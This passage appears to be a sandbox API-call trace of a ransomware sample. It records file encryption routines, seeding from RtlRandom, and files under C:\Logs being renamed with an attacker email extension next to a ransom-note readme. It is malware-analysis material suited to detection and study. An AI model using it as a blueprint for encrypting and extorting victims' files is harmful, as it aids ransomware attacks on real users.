Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b688) returned 1 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6b0 [0060.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6b0) returned 1 [0060.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.902] WriteFile (in: hFile=0x5bc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x75afc08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x75afc08*=0x4096, lpOverlapped=0x0) returned 1 [0060.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b8b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75afc64, lpOverlapped=0x0 | out: lpBuffer=0x347b8b8*, lpNumberOfBytesWritten=0x75afc64*=0x20, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b660*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75afc64, lpOverlapped=0x0 | out: lpBuffer=0x347b660*, lpNumberOfBytesWritten=0x75afc64*=0x20, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75afc64, lpOverlapped=0x0 | out: lpBuffer=0x347b688*, lpNumberOfBytesWritten=0x75afc64*=0x20, lpOverlapped=0x0) returned 1 [0060.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x347b610*, lpNumberOfBytesWritten=0x75afc6c*=0x8, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x75afc84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x75afc84*, lpNumberOfBytesWritten=0x75afc6c*=0x4, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x75afc6c*=0x4, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x75afc6c*=0x6c, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b638*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x347b638*, lpNumberOfBytesWritten=0x75afc6c*=0x20, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75afc6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x75afc6c*=0x4, lpOverlapped=0x0) returned 1 [0060.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b638) returned 1 [0060.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b610) returned 1 [0060.904] CloseHandle (hObject=0x5bc) returned 1 [0065.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33e5418 [0065.094] wcscpy (in: _Dest=0x33e5418, _Source="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" [0065.094] wcscat (in: _Dest=0x33e5418, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0065.094] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.095] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5418) returned 1 [0065.095] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0065.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34342a8 [0065.095] wcscpy (in: _Dest=0x34342a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0065.095] wcscat (in: _Dest=0x34342a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0065.095] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0065.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34342a8) returned 1 [0065.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e30b0) returned 1 [0065.096] RtlExitUserThread (Status=0x1) Thread: id = 84 os_tid = 0xb98 [0060.899] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0060.921] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", dwFileAttributes=0x20) returned 1 [0060.921] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0060.921] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x762fc94 | out: lpFileSize=0x762fc94*=69632) returned 1 [0060.921] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.921] ReadFile (in: hFile=0x5c0, lpBuffer=0x762fc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x762fc68*, lpNumberOfBytesRead=0x762fc64*=0x4, lpOverlapped=0x0) returned 1 [0060.923] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0060.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6b0 [0060.923] NtQuerySystemTime (in: CurrentTime=0x762fc40 | out: CurrentTime=0x762fc40*=132121176188207003) returned 0x0 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xcb14af23 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xebae6254 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x3f748912 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x1897b535 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xace243ff [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xf545a023 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xfd80907e [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x7db2e613 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x5cd52648 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xc459b403 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xb838594d [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x6b188e1e [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xb597698d [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x9311e077 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x367dbafe [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x7c11f24e [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xb11af73c [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xff9e8343 [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x95828c5c [0060.923] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x560a1b4a [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x41b2bd13 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xda700b8d [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x46e6d68c [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x9698a00 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x1cda492 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x71522204 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x55aca200 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x5dc484ee [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x6f7a9b4e [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xe7ca5383 [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0x2389762c [0060.924] RtlRandom (in: Seed=0x762fc4c | out: Seed=0x762fc4c) returned 0xf05ce7c1 [0060.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b638 [0060.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.934] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.934] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x762fc18, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x762fc18*=0x4096, lpOverlapped=0x0) returned 1 [0060.935] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0060.936] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.936] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x762fc18, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x762fc18*=0x4096, lpOverlapped=0x0) returned 1 [0060.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.936] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x762fc50, lpOverlapped=0x0 | out: lpBuffer=0x347b700*, lpNumberOfBytesWritten=0x762fc50*=0x20, lpOverlapped=0x0) returned 1 [0060.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0060.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b6d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x347b6d8*, lpNumberOfBytesWritten=0x762fc64*=0x8, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x762fc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x762fc7c*, lpNumberOfBytesWritten=0x762fc64*=0x4, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x762fc64*=0x4, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x762fc64*=0x6c, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b610*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x347b610*, lpNumberOfBytesWritten=0x762fc64*=0x20, lpOverlapped=0x0) returned 1 [0060.937] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x762fc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x762fc64*=0x4, lpOverlapped=0x0) returned 1 [0060.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b610) returned 1 [0060.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b638) returned 1 [0060.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.937] CloseHandle (hObject=0x5c0) returned 1 [0060.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33e5758 [0060.940] wcscpy (in: _Dest=0x33e5758, _Source="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" [0060.940] wcscat (in: _Dest=0x33e5758, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" [0060.940] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5758) returned 1 [0060.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", dwFileAttributes=0x20) returned 0 [0060.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b28 [0060.941] wcscpy (in: _Dest=0x3433b28, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.941] wcscat (in: _Dest=0x3433b28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.941] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b28) returned 1 [0060.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc760) returned 1 [0060.942] RtlExitUserThread (Status=0x1) Thread: id = 85 os_tid = 0xfa8 [0060.943] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0060.943] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0060.944] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x76af780 | out: lpFileSize=0x76af780*=69632) returned 1 [0060.944] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.944] ReadFile (in: hFile=0x5c0, lpBuffer=0x76af754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x76af754*, lpNumberOfBytesRead=0x76af750*=0x4, lpOverlapped=0x0) returned 1 [0060.945] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b610 [0060.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b638 [0060.945] NtQuerySystemTime (in: CurrentTime=0x76af72c | out: CurrentTime=0x76af72c*=132121176188363363) returned 0x0 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x361dbfce [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xc4c0066a [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xfbae1161 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x4b7e24b3 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x35244352 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xea6c6a70 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xec14fe52 [0060.945] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x90ec176c [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xcb951e67 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x36cf3804 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x5654e39a [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xfe44d5b7 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x45eeafe5 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xd4d6eb53 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x52e4b2e8 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x314afb81 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xf6ce158e [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xbdd2aea4 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xf9ea1378 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x99f0e620 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xb8566156 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xd0c40628 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xa978748f [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x7fcfa640 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xabc3d4de [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x868084d1 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x36b92fcf [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x6a93684e [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0x7895f99b [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xe4aeafbb [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xdef95e82 [0060.946] RtlRandom (in: Seed=0x76af738 | out: Seed=0x76af738) returned 0xf2a0f1fa [0060.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0060.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.957] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.957] ReadFile (in: hFile=0x5c0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x76af704, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x76af704*=0x4096, lpOverlapped=0x0) returned 1 [0060.957] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b408 [0060.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b408) returned 1 [0060.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.958] WriteFile (in: hFile=0x5c0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x76af704, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x76af704*=0x4096, lpOverlapped=0x0) returned 1 [0060.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.959] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.959] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x76af73c, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x76af73c*=0x20, lpOverlapped=0x0) returned 1 [0060.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.959] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x76af750, lpOverlapped=0x0 | out: lpBuffer=0x347b700*, 